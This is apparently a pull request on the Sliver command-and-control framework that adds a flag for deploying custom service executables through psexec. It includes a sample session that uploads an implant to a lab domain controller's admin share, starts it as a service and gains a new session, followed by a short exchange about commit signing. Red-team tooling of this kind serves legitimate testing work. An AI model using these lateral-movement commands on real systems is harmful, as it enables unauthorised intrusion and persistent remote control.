allow custom executables with psexec

[rwhitcroft]

Card

Adds the -c flag to psexec to accept custom service executables instead of generating a new Sliver. The executable must respond to SCM messages.

Details

Using psexec to spawn a customized version of Sliver (with service handlers).

[server] sliver (test1) > psexec -c /tmp/sliver.exe -d test1 -s test1 dc.hackme.local

[*] Uploaded service binary to \\dc.hackme.local\C$\windows\temp\jTVgfmNXyn.exe
[*] Waiting a bit for the file to be analyzed ...
[*] Successfully started service on dc.hackme.local (c:\windows\temp\jTVgfmNXyn.exe)
[*] Successfully removed service test1 on dc.hackme.local

[New session received]

[rwhitcroft]

Oops, forgot to GPG sign. Should I close this and create a new PR?

[rkervella]

Oops, forgot to GPG sign. Should I close this and create a new PR?

We can override for this time, please remember to sign your commits in the future though :)